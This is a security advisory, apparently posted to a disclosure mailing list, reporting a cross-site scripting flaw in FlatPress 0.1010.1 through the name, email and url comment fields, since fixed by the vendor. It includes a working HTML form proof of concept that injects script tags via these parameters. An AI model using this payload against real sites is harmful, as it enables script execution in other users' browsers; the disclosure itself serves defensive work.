[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

XSS in FlatPress



Vulnerability ID: HTB23022
Reference: http://www.htbridge.ch/advisory/xss_in_flatpress.html
Product: FlatPress
Vendor: Edoardo Vacchi  ( http://flatpress.org ) 
Vulnerable Version: 0.1010.1 and probably prior
Tested on: 0.1010.1
Vendor Notification: 07 June 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
High-Tech Bridge SA Security Research Lab has discovered vulnerability in FlatPress, which can be exploited to perform cross-site scripting attacks.

Input passed via the "name", "email", "url" POST parameters to index.php is not properly sanitised before being returned to the user.
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of affected website.

The following PoC code is available:


<form action="http://[host]/index.php?x=entry:entry110603-123922;comments:1"; method="post">
<input type="hidden" name="name" value='"><script>alert(1);</script>'>
<input type="hidden" name="email" value='"><script>alert(2);</script>'>
<input type="hidden" name="url" value='"><script>alert(3);</script>'>
<input name="send" value="EXPLOIT" type="submit">
</form>

Solution: Upgrade to the most recent version